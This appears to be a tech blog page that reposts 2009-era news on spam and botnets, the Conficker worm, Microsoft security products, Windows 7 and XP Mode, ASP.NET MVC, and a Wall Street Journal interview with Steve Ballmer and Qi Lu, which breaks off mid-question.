loosy|goosy|ness - Blog

The people who run the world's internet systems are a rather secretive bunch.  Three times a year, senior technical officers from companies such as Google, Yahoo, AT&T, Comcast and Verizon meet to discuss ways of stopping the internet from being swamped by rising levels of spam, viruses and hacking attacks by organised criminals. They do not generally like discussing these meetings.  "Some people might get nervous if they knew all the things we talked about," said Michael O'Rierdan, chairman of the Messaging Anti-Abuse Working Group (MAAWG). "It’s our job to make the internet safe, but we don't want to put people off using the web."  They are also worried about being targeted by the cyber-criminals they are trying to thwart.

Most of the spam and hacking on the internet is run by organised crime rings. There is an underground economy that hacks into computers, sells stolen identities and orchestrates the sending of spam e-mails about everything from fake Viagra pills to banking scams. There is a lot of money at stake in keeping these operations running.  “We get threats every day," said Larry, chief technical officer of Spamhaus, a non-profit organisation that exposes spammers. He prefers not to reveal his surname. "In the US it is people bringing lawsuits against us. And then there are organised criminals in Russia and Ukraine, who use different methods."  Steve Linford, the organisation's founder, has been advised by police not to open unexpected packages arriving at his home.

MAAWG meetings are also places to discuss some of the controversial measures that internet companies need to take in the fight against spam, such as blocking some types of e-mail traffic. This measure sits awkwardly with civil liberties bodies.  The 270 delegates from 19 countries who met at Amsterdam's venerable Hotel Krasnapolsky last week were far from the usual, suit-wearing conference crowd. An eclectic mix of tattoos, ponytails, high-waisted trousers and backpacks indicated that these were true operations people who work in the bowels of the network.  Membership is strictly vetted and journalists are not normally invited to attend, but MAAWG has started to lift its veil a little. There is a growing feeling that the industry must reach out to consumers and get them to help fight cyber-crime.

In 2008, 349.6bn spam messages were sent across the internet, according to Symantec, the internet security company. Spam accounts for an average of almost 94 per cent of all e-mail messages.  Nearly 90 per cent of spam is sent from computers that have been hacked into and are being remotely programmed to send out spam.  More than 9.4m computers have been hijacked in this way and their owners are usually entirely unaware it is going on. It will be impossible to clean up these machines without talking to consumers.

"Sometimes we want people to know what we are doing, so they can yell at the politicians to give us more help," said Jerry Upton, executive director of MAAWG.  There is a rising sense of crisis among internet companies about the cost of spam. Few are willing to quantify how much they have to spend to fight spam, but Mr O'Rierdan estimated that big internet service providers employ five to 10 staff just to look at spam. In addition they must buy spare servers, routers and other equipment to cope with the volumes of junk mail, buy spam-filtering software and run support centers for their customers.

Viriya Upatising, chief technical officer of True Internet, a Thai internet service provider, said junk mail was a crippling cost for the company because it was paying to send the unwanted data across undersea cable connections to destinations such as the US and Europe.  "The cost of bandwidth is expensive in Asia," Mr Upatising said. "It costs us $250 per megabit per month to send data internationally."  The company put in place a draconian system that prevents suspected spammers from using its network. The measures have cut unwanted messages from 3.5m a day to a more manageable 250,000.

"We are all sharing these costs," said Patrick Peterson, chief technology officer at Ironport Systems, Cisco's e-mail security arm. "Spam is a stealth tax on consumers. ISPs have to pay for the spam, for the extra bandwidth, for equipment, and they are forced to put up their prices for consumers."

There is a fear among internet security professionals that they might be losing the battle to cyber-criminals. This may also be why they now want the public to know more about what they do, to show they have at least tried.  "I don't know if we can control it," said Dave Crocker, one of the early pioneers of e-mail and now a senior technical adviser to MAAWG.  He added: "It is an arms race. We are getting better at filtering out rogue messages but every day the criminals get better too, and they are better organized and more aggressive."

Keywords: the dark side of the web

* Spam: Unsolicited electronic messages, most commonly e-mail, but also increasingly common in instant messaging, blogs and mobile phone messages. The first e-mail spam is believed to have been sent in 1978.

* Malware: Malicious software designed to infiltrate or damage a computer system without the owners' consent. Symantec, the internet security company, has estimated there is now more malware released each year than legitimate software programs. There are many different types of malware, including viruses, worms and Trojan horses.

* Phishing : The fraudulent attempt to acquire sensitive information such as passwords, bank account details and credit card numbers. Typically it is in the form of an e-mail that directs people to a fake website - that looks like the legitimate site of a bank or other trusted organisation - where people are asked to enter personal details.

* Botnets: A network of computers that have been hacked and are being remotely controlled by cyber-criminals. Typically they are used to send out spam messages or viruses in large numbers. Most users will be unaware if their computer has been infiltrated and added to a botnet. Symantec estimated there were more than 9.4m machines hijacked in this way in 2008.

Source: http://www.ft.com

You can set a custom background for the logon screen in the release candidate and release to manufacturing versions of Windows 7, here is how it works:

To set a custom picture, place a JPG named backgroundDefault.jpg in the %windir%\system32\oobe\info\backgrounds folder. Now go to the registry and navigate to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Background. There should be a DWORD value named OEMBackground (create it if it's missing). Set the value to 1 and click OK.

Now when you log off or switch users the new background picture will be displayed. No reboot is necessary.

You can also place custom files in the backgrounds folder with the name background<resolution> to have different pictures for different resolutions. For example, a 1024×768 resolution picture should be save as background1024x768.jpg.

BOSTON, June 10 (Reuters) Microsoft Corp (MSFT.O) is getting ready to unveil a long-anticipated free anti-virus service for personal computers that will compete with products sold by Symantec Corp (SYMC.O) and McAfee Inc (MFE.N).

A Microsoft spokesman said on Wednesday that the world's biggest software maker is testing an early version of the product with its own employees. Microsoft would "soon" make a trial version, or product beta, available via its website, he added, but declined to provide a specific date.

Symantec shares fell 0.5 percent on Nasdaq and McAfee fell 1.3 percent on the New York Stock Exchange, while Microsoft was up 2.1 percent. The Nasdaq composite index .IXIC was down 0.47 percent.

Investors are closely monitoring the free service, code-named Morro after Brazil's Morro de Sao Paolo beach, amid concern it could hurt sales of products from Symantec and McAfee, which generate billions of dollars of revenue a year protecting Windows PCs from attacks by hackers.

"It's a long-term competitive threat," said Daniel Ives, an analyst with FBR Capital Markets, though he added that the near-term impact was minimal.

Microsoft has said that Morro will offer basic features for fighting a wide range of viruses, which would likely make it comparable to low-end consumer products from Symantec and McAfee that cost about $40 per year.

Their top-selling products are security suites that come with features including encryption, firewalls, password protection, parental controls and data backup.

Three years ago, Microsoft entered that market with Live OneCare, which turned out to be a commercial flop. It announced plans in November to kill that product suite, saying it would launch the free Morro service by the end of 2009.

Analysts said they are looking forward to Morro's beta to see exactly how its features compare to those in products from competitors.

Microsoft has said it will provide protection from several types of malicious software including viruses, spyware, rootkits and trojans.

Officials with Symantec and McAfee have said they do not see Morro as a threat. 

"Microsoft's free product is basically a stripped down version of the OneCare product Microsoft pulled from the shelves," said Symantec Consumer division president Janice Chaffin. "A full Internet security suite is what consumers require today to stay fully protected."

Joris Evers, a spokesman for No. 2 security software maker McAfee, said his company is already enjoying strong growth despite competition from free anti-virus products that are on the market.

"On a level playing field, we are confident in our ability to compete with anyone who might enter the marketplace," he said.

A spokeswoman for Trend Micro Inc (4704.T), the No. 3 player, declined to comment. (Reporting by Jim Finkle; Editing by Steve Orlofsky, Brian Moss, Richard Chang)

Source: http://www.reuters.com

The near-final version of Microsoft's next operating system, Windows 7, became available late Monday to the general public.

Microsoft will collect feedback on the Windows 7 release candidate over the next few months, fixing small issues. The company allowed developers and other testers to begin downloading the release candidate last week.

[ Microsoft will let users run Windows 7 RC for more than a year. | Get the analysis and insights that only Randall C. Kennedy can provide on Windows tech in InfoWorld's Enterprise Desktop blog and Technology: Windows newsletter. And download our free Windows performance-monitoring tool. ]

Windows 7 comes nearly three years after Windows Vista, which took five years for Microsoft to engineer but was regarded by some as underwhelming. Microsoft hasn't said when the final Windows 7 version will be released, although it's rumored to be out before year's end.

Microsoft warned it is not offering technical support for the Windows 7 release candidate, so those who install it are on their own. Users should be familiar with installing an operating system from scratch, formatting a hard drive and backing up data, among other skills, Microsoft advised.

In the Windows 7 release notes, Microsoft warns of several problems that haven't been resolved, including issues with its latest Web browser, Internet Explorer 8 (IE8).

Debugging JavaScript with the developer tools in IE8 could throw up a warning that a Web site is not responding, but that warning can be ignored. Also, some Web pages may have misaligned text or missing images. Microsoft recommends clicking on the "compatibility view" button on the address bar as a fix.

Microsoft released the Windows 7 beta in Arabic and Hindi, but those languages have been replaced with French and Spanish in the release candidate. English is available for both versions.

"We needed to ensure certain features were tested for worldwide functionality, and Hindi and Arabic help us test a number of language-related features," Microsoft said.

Source: http://www.infoworld.com

As promised, on Thursday, April 30, 2009, Microsoft made the Windows 7 Release Candidate (RC, see my review) available to MSDN and TechNet subscribers. But it also made an updated (but not yet rebranded) version of XP Mode for Windows 7 and Windows Virtual PC available via the same distribution points. Since Rafael and I gained access to the first external build of XP Mode (then as in this beta called Virtual Windows XP, or VXP), we've been eager to see a more updated version. So what do we see here?

First, Microsoft is formally describing this technology as Windows Virtual PC, "a new optional component for the Windows 7 operating system that you can use to evaluate and migrate to Windows 7 while maintaining compatibility with applications that run on older versions of Windows." Windows Virtual PC includes a number of new features, one of which, of course, is XP Mode.

Windows Virtual PC is available in both 32-bit and 64-bit versions, so you'll need to version that is correct for your OS. However, you can only run 32-bit virtual machines inside of Windows Virtual PC, as was the case with the previous version of this product, Virtual PC 2007.

Windows Virtual PC will be delivered to Windows 7 Professional, Enterprise, and Ultimate customers via a web download that includes two executables. The first, Windows6.1-KB958559-x86.msu (32-bit) or Windows6.1-KB958559-x64.msu (64-bit), depending on your platform, updates Windows 7 and actually provides the expected Start Menu entry points. And then you reboot.

When that's done you must also run a second EXE, VirtualWindowsXP_64_en-US (or VirtualWindowsXP_32_en-US) to install XP Mode and its Windows XP with SP3 virtual machine (VM). Once you've done that, you'll be prompted to run Virtual XP (XP Mode).

Now, you're prompted to configure a password for the default user (creatively named User and not changeable during Setup), and configure Automatic Updates. Then, Setup configures the virtual machine. This phase takes a long time and involves setting up the VM for first use, initializing the VM, starting the OS, and enabling integration features. What it's really doing, of course, is running through the XP Setup process in silent mode.

Eventually you'll hear the familiar strains of the XP startup sound and Windows XP springs to life in a window. Voila! It's time to do some XP configuration, install AV and any third party apps, and then shut down the VM and access those apps from the Windows 7 Start Menu.

Of course, Rafael and I have already thoroughly documented all this. So if you've been reading along since we first revealed this feature, you know by now that nothing has changed. That's both reassuring and alarming, since the build we originally got is well over a month old by now. Presumably, between now and Windows 7 RTM, Microsoft will rebrand these components as needed.

Of more interest here is what's going on under the hood? How does Windows Virtual PC differ from its predecessor?

First, the integration components now support XP with SP3, Vista with SP1, and Windows 7, so you're free to install these other OSes in VMs if you'd like. As per previous Virtual PC versions, you get seamless mouse movement between the host and VMs, can access a combined host/VM clipboard, access physical drives and printers on the host from within VMs, and, in a new twist, some USB devices. (This was a notable missing feature in Virtual PC.) Microsoft says that USB-based printers, storage devices and smart card readers are now automatically shared with virtual machines. You can also redirect other USB devices to VMs via the new USB menu in the VM window; each attached USB device on the host is listed.

And don't forget Rafael's secret about getting built-in Windows XP applications to appear in the Windows 7 Start Menu. Just drag and drop them into the All Users Start Menu and they will appear. Voila!

Source: http://www.winsupersite.com

Microsoft will begin offering its first hosted security service under the Forefront brand on Thursday, dubbed Forefront Online Security for Exchange and designed to help keep malware and spam out of e-mail in-boxes.

The hosted service, which will cost $20 per user per year or less based on volume licensing, targets enterprise Exchange customers and includes a Web-based console for setting up policies for virus and spam protection, said Doug Leland, general manager of Microsoft's Identity and Security Business Group.

The releases will follow the timeline of Exchange 2010, which entered public beta this week. More hosted security services will be coming but Leland declined to elaborate.

Microsoft also will finally release on Thursday a new, public beta version of its Stirling security suite, which is the next generation of the Forefront software.

The initial beta version of Stirling was released a year ago and was supposed to be refreshed by the end of 2008. It will include client, server, and application security technology and offer a single management console.

Stirling components will come in staggered releases starting later this year with Forefront Security for Exchange and Threat Management and continuing through the first half of 2010, Leland said. The company also is changing the name of its Identity Lifecycle Manager product to Forefront Identity Manager and plans to offer a new set of technologies, code-named Geneva, for helping corporations improve the security of software and services, Microsoft said.

In addition, Microsoft said it is investing $75 million in a partner ecosystem, including making a strategic partnership with RSA. Other companies integrating with Stirling include Kaspersky, Brocade, Juniper Networks, Guardium, Imperva, Sourcefire, StillSecure, Q1 Labs, and Tipping Point.

The moves are part of the company's strategy to provide "Business Ready Security."

The moves are part of Microsoft's effort to broaden the scope of its security offerings to incorporate data protection, access and management, all built around the concept of identity, Leland said.

Microsoft wants to offer the ability for corporations to set "fine-grained security policies and have a deeper understanding about who in the organization is triyng to access data and what they are trying to do with it," he said.

Source: http://news.cnet.com

[Update]: Forefront Online Security for Exchange is not only limited to Exchange Server, it can be used by all other mail server.

More than 97% of all e-mails sent over the net are unwanted, according to a Microsoft security report.

The e-mails are dominated by spam adverts for drugs, and general product pitches and often have malicious attachments.

The report found that the global ratio of infected machines was 8.6 for every 1,000 uninfected machines.

It also found that Office document attachments and PDF files were increasingly being targeted by hackers.

Microsoft said people should not panic about the high levels of unwanted e-mail.

Cliff Evans, head of security and privacy for Microsoft in the UK, told BBC News: "The good news is that the majority of that never hits your inbox although some will get through."

Ed Gibson, chief cyber security advisor at Microsoft, said the rise in spam was due to traditional organised crime figures moving away from exploiting software vulnerabilities and "targeting the weak link that is you and me".

"With higher capacity broadband and better OS (operating systems), and higher power computers it is easier now to send out billions of spams. Three or four years ago the capacity wasn't there."

Malware ecosystem

Paul Woods, senior analyst at e-mail security firm Message Labs, said he was surprised the Microsoft figure for unwanted e-mail was so high.

"Our own analysis shows that around 81% of e-mail traffic we were processing was identified as spam and unwanted," he said.

MessageLabs said spam rates had fallen at the end of 2008 as an ISP which had been hijacked to send out spam mails to users had been taken offline.

"As a result of that, a number of developers in botnet technology at the end of last year were trying to regain botnet control and increase capacity and return to previous spam levels.

"It wont be far off before we see return to those levels."

The report, which looked at online activity during the second half of 2008, also pinpoints the countries that are suffering from the most infections of malicious software, or malware.

Russia and Brazil top the global chart of infections, followed by Turkey and Serbia and Montenegro.

It said that the type of malware varied from country to country.

"As the malware ecosystem becomes more reliant on social engineering, threats worldwide have become more dependent on language and cultural factors," it reported.

In China, several malicious web browser modifiers are common, while in Brazil, malware that targets users of online banks is more widespread.

In Korea, viruses such as Win32/Virut and Win32/Parite are common.

Global average

The global average for infected machines is 8.6 for every 1,000 uninfected PCs.

The UK's infection rate is 5.7, according to the Microsoft report.

The report highlighted the need to keep operating systems, web browsers and applications up to date with the latest versions.

Increasingly, hackers are using common file formats, such as Microsoft Office documents and Adobe's PDF format as the carrier of malicious exploits or programs.

More than 91% of attacks exploiting vulnerabilities in Microsoft Office were using security holes that had been plugged by updates that had been available for more than two years.

Attacks using PDF files rose sharply in the second half of 2008, the report noted.

The vulnerabilities all of the attacks exploited had already been fixed by Adobe, and were not present in the most recent versions of the software.

Mr Gibson told BBC News people had to be aware that if they did not update their applications, such as Office and Adobe, they were not just putting themselves at risk, but others on the internet also.

"If you don't update your software you are not just a hazard to yourself, you are hazard to others because you can be part of a botnet [if your computer is hijacked]."

Mr Evans said Microsoft was very happy with the approach consumers were taking to updating applications via automatic updates.

"For consumers it is happening but for business less so. We have encourage businesses to make more use of automatic updates."

Scareware

Mr Woods said malicious hackers were exploiting Office document attachments and PDF files in order to make more targeted attacks.

"They tend to be used in selective attacks to named individuals in organisations.

"A lot of social engineering will be used to appear legitimate and convince a user to open the attachment

"Once opened, a vulnerability in the application used to open the document will be exploited and often a tiny piece of code will execute and then download a larger file from a rogue website.

"This program will then attempt to search the computer for a particular document or file and sent it to a remote PC."

The report also highlighted the rise in the use of so-called scareware, fake security programs which falsely tell people they need to install software which does nothing other than attempt to steal personal details from a users' PC.

"It's criminals playing on people's fears," said Mr Evans.

"The advice remains the same - ensuring you have up to date software, whether that's your applications, your browser or your OS."

Source: http://news.bbc.co.uk

Remember the dire predictions surrounding the "millennium bug?" The doom-and-gloom scenarios bandied about by security analysts on how computers could act when their clocks turned to January 1, 2000?

Well, researchers are hoping that a potential April Fools' time bomb -- the Conficker.c that is supposed to hit computers on April 1 -- turns out to be equally unfounded.

But realizing that hope alone is not a prudent option, here is a primer on the worm so you can adequately prepare yourself -- and your computer.

Computer users will not know that Conficker.c has infected their machine.

What is Conficker.c and what do analysts fear it may do?

Conficker.c is a worm, a malicious program thought to have already infected between 5 million and 10 million computers.

Those infections haven't spawned many symptoms, but on April 1 a master computer is scheduled to gain control of these zombie machines, said Don DeBolt, director of threat research for CA, a New York-based IT and software company.

What happens on April Fools' Day is anyone's guess.

The program could delete all of the files on a person's computer, use zombie PCs -- those controlled by a master -- to overwhelm and shut down Web sites or monitor a person's keyboard strokes to collect private information like passwords or bank account information, experts said.

More likely, though, said DeBolt, the virus may try to get computer users to buy fake software or spend money on other phony products.

Experts said computer hackers largely have moved away from showboating and causing random trouble. They now usually try to make money off their viral programs

How does the Conficker.c work?

Conficker.c imbeds itself deep in the computer where it is difficult to track. The program, for instance, stops Windows from conducting automatic updates that could prevent it from causing damage.

The program's code is also written to evolve over time and its author appears to be making updates to thwart attempts to neuter the worm.

Who wrote the program?

It's unclear who wrote the program, but anti-work researchers -- a group calling itself the Conficker Cabal -- are looking for clues.

First, they know that some recent programs have come from Eastern European countries outside the jurisdiction of the European Union, said Patrick Morganelli, senior vice president of technology for Enigma Software.

Worm program authors often hide in those countries to stay out of sight from law enforcement, he said.

In a way, the Conficker Cabal is also looking for the program author's fingerprints. DeBolt said security researchers are looking through old programs to see if their programming styles are similar to that of Conficker C.

The prospects for catching the program's author are not good, Morganelli said. "Unless they open their mouth, they'll never be found," he said.

So, the most effective counter-assault simply may be damage control.

How can I tell if my computer's infected?

One quick way to see if your computer has been infected is to see if you have gotten automatic updates from Windows in March. If so, your computer likely is fine, DeBolt said.

Microsoft released a statement saying the company "is actively working with the industry to mitigate the spread of the worm."

Users who haven't gotten the latest Windows updates should go to http://safety.live.com if they fear they're infected, the company's statement says.

People who use other antivirus software should check to make sure they've received the latest updates, which also could have been disabled by Conficker.c.

How did the worm evolve?

The first version of Conficker -- strain A -- was released in late 2008. That version used 250 Web addresses -- generated daily by the system -- as the means of communication between the master computer and its zombies.

The end goal of the first line was to sell computer users fake antivirus software, said Morganelli.

Computer security experts largely patched that problem by working with the Internet Corporation for Assigned Names and Numbers to disable or buy the problematic URLs, he said.

A second variant, Conficker.b, was released in January and infected millions more machines.

The Conficker, strain C, will generate 50,000 URLs per day instead of just 250 when it becomes active, DeBolt said.

What is being done to fight Conficker?

Members are searching for the malicious software program's author and for ways to do damage control if he or she can't be stopped.

They're motivated in part by a $250,000 bounty from Microsoft.

Source: http://www.cnn.com

As part of Scott Guthrie's keynote March 18th at Mix 2009, Microsoft announced the final release of ASP.NET Model View Controller (MVC). If you haven't had a chance to look at it yet, now is your chance as it's officially out of beta and into full production.

ASP.NET MVC—Why All the Hype?

In case you haven't heard, Microsoft has made it abundantly clear that ASP.NET MVC isn't designed to replace ASP.NET Webforms development. Instead, it's another option that Microsoft is making available to developers. This is similar to Microsoft's decision to allow developers to code in both Visual Basic and C# - the idea being that developers chose what best meets their needs and particular styles.

Personally, I'll never go back to WebForms, because I'm sold on the way MVC solutions give me complete control over my markup, facilitate testing, and allow greater control over URL routing while making my code much more modular (which in turn, makes it easier to manage and extend). So, while MVC development might not be for everyone, it's definitely for me, and I'm completely sold on it.

ASP. NET MVC as a Testament to Innovation at Microsoft

But what I really love the most about ASP.NET MVC (in addition to all of the time it saves me as a developer), is that it's a perfect example of some very new, and innovative, approaches that Microsoft has taken in regards to addressing business and the web in general. Once upon a time, Microsoft's approach to the web and competing products and platforms basically consisted of doing nothing more than pretending that those offerings didn't exist. You can see some examples of this mindset by visiting some parts of the Microsoft corporate site, where many pages and applications simply don't work correctly with browers other than Internet Explorer. Likewise, this mindset was also at the heart (in my opinion) of much of the complaints leveled at Microsoft for being nonconformant with industry accepted standards.

But the MVC is part of a vanguard of new products and services delivered by Microsoft  where the company seems to take an entirely different approach. Rather than simply pretending that other offerings don't exist, this approach focuses on accepting the strengths of other platforms, analyzing those strengths, rolling them into Microsoft products where applicable, and then building supporting and competing Microsoft products that developers, and IT professionals, just can't do without.

IIS 7, for example, no longer pretends that PHP doesn't exist. Instead, it fully embraces it, and is striving to provide such a powerful hosting platform for it that businesses will choose to run PHP on IIS7 given the ease of management, extensibility, and flexibility that they'll enjoy from hosting PHP on a Windows Server. And if Microsoft is able to deliver? Then businesses will be buying Windows Server licenses for their web workloads, instead of using Apache licenses. It's a bold business approach to be sure, but I much prefer this approach to meeting the competition head-on, rather than watching Microsoft merely burying its head in the sand.

What's better though, is that it appears that as Microsoft continues to take this head-on business approach, we're finally starting to see some really innovative things coming out of Redmond. And in my mind, a prime example of that innovation has been the effort and energy devoted to the creation of ASP.NET MVC functionality. As an ASPInsider, I've been able to see just how innovative the ASP.NET team working on this project has been - and how careful they've been in creating this platform in order to ensure that it really, and truly, met real-world business needs.

A further example of how this innovation and its associated paradigm shift is taking root at Microsoft is the BizSpark program, which takes a very aggressive approach at preventing start-ups from courting the LAMP stack as a cheaper alternative to the Microsoft Stack by giving them three years to use Microsoft products and licenses for free.

And, if you think that I've possibly gone off the deep-end, or imbibed a bit too much of the Microsoft Kool-Aid, make sure to check out Bill Buxton and Scott Guthrie's Keynote from Mix '09. Here’s the link: http://live.visitmix.com/. You’ll need to mouse over the player, select the Other Videos option, and select the Day1 Keynote.

Unless there's something seriously wrong with you, this keynote will get you excited about development again, and it will totally make you rethink your relationship with Microsoft. You'll also see some great examples of real-life innovation.

Getting Started with ASP.NET MVC

As for ASP.NET MVC itself, if you've been waiting for it to mature a bit before playing with it (or just haven't had the time yet), now is a great time to pull it down and try it out. It now has a brand new portal page on the www.asp.net web site itself, and there are also a number of great videos that will help you get quickly spun up on how it works, and what it does. In fact, if you'd like a very quick overview of how MVC applications work, make sure to check out Stephen Walther's new video that shows a start-to-finish MVC app.

Likewise, one of the great things about MVC development is that it's insanely extensible and lends itself very well to customizations and tweaks. I've leveraged these capabilities extensively in my own projects, and a huge resource that's helped me in doing so has been access to the actual source code for ASP.NET MVC itself - which you can peruse (or even download) from the codeplex site.

Another resource that you'll want to pay attention to if you're interested in MVC development is MVCContrib, which is an extensive suite of open-source extensions and augmentations that can be used to improve MVC development. I've also found that Phil Haack’s and Rob Conery's blogs are great resources; they document some MVC features and functionality. But more importantly, these blogs are great resources in terms of explaining why certain features are implemented as they are. The resulting transparency from those blogs helps (in my mind) play a big part in much of the innovative spirit that makes MVC and other recent releases from Microsoft so exciting and refreshing.

Source: http://www.devproconnections.com/

The new OS is winning over notoriously skeptical tech bloggers and benchmarking sites. We put together a roundup of some of the results that show why Windows 7 could be faster than Vista.

The boot time and readiness of the OS has been getting the biggest plaudits from bloggers and benchmarkers, especially with its capacity to bring the computer to a functional state very quickly and to operate on less memory than Vista (the latter is largely thanks to the fact that Windows 7 doesn’t allocate video memory for non-visible Windows).

Other benchmark results are mixed, with Windows 7 beating its predecessors in some tests and lagging them in others (of course, it's still in beta, where XP and Vista are both production versions).

Here’s a sampling of some of the best results:

• The Firing Squad has a comprehensive test of the gaming and USB performance of Windows 7 vs XP and Vista. It’s hard to draw conclusions from its test result since they’re all over the place: Windows XP, Windows Vista and Windows 7 each had their ups and downs, and there was no clear winner overall.
• PC Games Hardware tests fewer games, but gives Windows 7 a slight edge in Far Cry 2 and Left 4 Dead. Its other tests were again a mixed bag, with some showing Windows 7 improving on Vista, and others showing it worse.
• Infoworld has a fascinating look at multi-core database performance. The short version is that Windows 7 and Windows Vista take better advantage of multi-core systems, but Windows XP actually performs better than they do on fewer cores.
• It’s not big on the details, but tests run by a ZDNet blogger give some major props to Windows 7. These tests cover mostly common tasks, like file copying and application starts.
• Hot Hardware has benchmarks that give Windows 7 a significant performance advantage over Windows Vista. The gaming performance of the two was roughly equal, but the Futuremark PCMark Vantage overall result for Windows 7 was 20% higher than Windows Vista.

In a sense, it seems to gel with the ZDNet tests – that Windows 7 does well at “mundane” tasks, but doesn’t thrash the competition in gaming.

Of course, if you’re tired of looking at benchmarks and want to try Windows 7 for yourself, you can download it from here until Feb 10.

The good news is that it’s very stable – I’m running it and have yet to have a crash. It’s not that different from Vista overall, and if you’d like to know more about it without having to install it, you can also check out Atomic’s visual Windows 7 Beta Walkthrough.

Source: http://www.pcauthority.com.au/

[QUOTE]
After a nearly five month search, Microsoft Corp. on Thursday said it has found a new executive to lead its charge against Google Inc. in the online search and advertising business: Qi Lu, a technologist who was previously a top executive at Yahoo Inc.

The move represents a switching of teams for Dr. Lu, whose former employer was the target of a $47.5 billion acquisition offer that Microsoft abandoned earlier this year. When he begins work as president of the online services group at the Redmond, Wash., company on Jan. 5, Dr. Lu, 47 years old, will face the formidable task of improving Microsoft from a distant third place position in Internet search, behind Google and Yahoo. His familiarity with Yahoo could make that easier if Microsoft is able to strike a deal to acquire Yahoo's search business, as Microsoft CEO Steve Ballmer has said he's keen to do.

In the first joint interview together, Mr. Ballmer and Dr. Lu on Friday morning discussed their plan for making Microsoft more competitive on the Internet. Mr. Ballmer also reiterated his interest in acquiring in Yahoo's search business and how it would be better for both companies if they can do a deal "sooner than later."

Excerpts of the telephone interview with both men follow:

WALL STREET JOURNAL: Steve, was this a difficult or particularly long search to find the right person to run your online business?

STEVE BALLMER: I'll say, no, actually to both. Somebody might have a different point of view. I think people would have wished, hey, just fill the job quickly. But "difficult" would imply it was tough to find the right guy. I think it was important for me to take the time to get to know many people in the online industry, which was great.

 
Steve Ballmer

And yet, it was not a difficult choice, I think, for what we need to accomplish, you know, sort of four key things. There's general management, and I've got great confidence in Qi [pronounced "Chee"] as a leader and manager. There's technology, certainly Qi has an unparalleled background. There's product as opposed to technology, and really what it takes to build a winning product. And if you want to build a winning product in search, again, there's no better guy on the planet than Qi, so I felt very good about that.

WSJ: His predecessor running Microsoft's Online Business had more of a sales and marketing background. Did you decide that deep technical skills first and foremost were the most important thing for improving your position in search?

Mr. Ballmer: There's a difference between technical skills and product skills. Both were important. There are a lot of people in our industry who understand the technology, but don't actually understand really what it takes to build a winning product. So perhaps the most important thing was the product skills, and really the understanding of what people want, and what they're trying to accomplish and get done. Then it's also great to have the skills to map that back into the technology itself.

We did restructure the job some, which made it easier to focus in on product, and general management as opposed to other things. We did take our sales force and move it so that we could manage it under our chief Operating Officer Kevin Turner, and that made it more pure to focus in on this issue. Also, because we moved the Windows Live pieces into the Windows group, which I think is appropriate, it created clear focus on search, portal and advertising as the product.

WSJ: Qi, what are your first priorities for helping Microsoft improve its competitive position on the Internet?

QI LU: I haven't started yet, but looking from outside, at the fundamental level, product quality, user experience is the key to being competitive in this space that we're in. Focusing on fundamental areas such as talent, core infrastructures, basic processes of doing things will be very important areas for me to focus. The way I do things I usually always prefer to have a very clear strategy and be very focused. At the same time to be very rock solid, and crisp in execution.

Qi Lu

WSJ: At Yahoo you were obviously in a competitive position against the dominant player in this business, Google. Do you feel like at Microsoft you will have better resources to more effectively compete against Google?

Mr. Lu: In my interaction with Steve the one thing that impressed and won me over is the level of commitment they are investing. They're investing resources, they're investing in our ability to distribute a product, investing in things that we can do to ensure we have at the highest quality of user experience, and that's very, very important.

WSJ: Do you feel at Yahoo that level of investment wasn't as high as it needed to be?

Mr. Lu: Yahoo was operating in a slightly different situation. The company has a different profile, type of business, and the operating margin structures it needs to operate with. So it's different.

WSJ: Steve, should a Yahoo search deal come to pass with Microsoft, would Qi's hiring make it easier for Microsoft to integrate whatever assets it acquired from Yahoo?

Mr. Ballmer: I think a search deal makes great sense for Microsoft, and Yahoo, and I think I've been very open about that. That's as true with Qi joining us as it was before Qi joined us. Obviously the logistics of any such integration…can only be simpler by having somebody who will know both sides. But, that was not a factor in hiring Qi.

Our focus on portal and search is super-strong, and even if we never do a Yahoo deal or anything else, I wanted to have Qi come on board. It is kind of a bonus that if something happened with Yahoo I'm sure it's somewhat simpler.

WSJ: In your last comments on this, you said that there are no talks going on with Yahoo. Has that changed? Are there any kind of talks about a search deal between Microsoft and Yahoo at the moment?

Mr. Ballmer: The answer is no, but I wouldn't tell you if there were. But in this case it's easy.

WSJ: Do you feel like you're in a situation where you can go slow with regards to Yahoo and any conversations, or do you need to move quickly?

Mr. Ballmer: We're fully prepared to compete without any partnership with Yahoo. We don't need to act. Would it be advantageous for both of us to make a deal? Look, the fundamental basis for doing the search deal with Yahoo has to do with critical mass in the advertising marketplace. It doesn't have to do with technology, or any of these other things, it really is a market phenomenon. Together we would have more advertisers….which means we'd have more relevant ads on our page. We'd have higher monetization levels possible in front of us because there would be more people bidding on more key words. Most importantly, Google would have perhaps a real credible competitor sooner.

I think good ideas are usually better done quickly than slowly, so it would probably be better for both us, and certainly for Yahoo, if we were to do it sooner than later. But at the end of the day, that would have be something Yahoo would be as interested in as I have expressed our interest.

WSJ: Do you think that that's unlikely before Yahoo finds a new CEO?

Mr. Ballmer: It's not my place to speculate there, I'm afraid.

WSJ: Qi, let me turn this around. You were at Yahoo when Microsoft made its acquisition bid. I'm curious what it was like being on the other side, and how you, as a Yahoo person, viewed Microsoft and how others inside the company viewed Microsoft?

Mr. Lu: For me, Microsoft has been one of the most, if not the most, successful technology companies. And the one thing you can say about Microsoft is about their competitiveness. They may not get it right in the first version of the product, but they're coming at and they'll keep coming at it and improving the product. And so we always respected that, and viewed Microsoft as you can never count them out as very worthy competitors.

With regards to the acquisition, certainly the management team and the board of directors made their decisions, and we all know about that now. Sometimes the employees, different people have different views. That's perhaps all I have to say.

WSJ: Do you think if the scenario that we talked about should come to pass, some kind of collaboration between Microsoft and Yahoo on search, that top talent would remain, and that there would be a relatively smooth integration of their assets with Microsoft?

Mr. Lu: Based on what I know of, I think certainly a case can be made that a lot of employees will remain, and they will be able to put together a smooth transition. Just to add to what Steve said earlier, the key value of consolidating the two search assets is by combining the supply and demand in the ad marketplace so that you have more advertiser base, and given that you will have ads that are more relevant, serve the user better, and create more [return on investment] for the advertisers, and certainly provide more yield, economic value for all parties involved.

WSJ: Should we look at an improvement in Microsoft's market share position in search, or are there other measurements by which you'll judge that the Internet business is headed in the right direction at Microsoft?

Mr. Lu: To me, ultimately in the search case, it's market share. Beside search share, there's a different set of metrics that can tell us how competitive our products are. There's a lot about measuring the quality of the search experience, and there's also a lot of measurements you can use that will tell us how effective our ad marketplace is at being able to provide yield.

Mr. Ballmer: The only thing I would add is, on the portal side of the business -- that's where we actually have our biggest revenue stream today -- we have a lot we think we can do to continue to drive page views.

WSJ: Can you set some expectations for how much you think you can improve your market share in the absence of a deal with Yahoo?

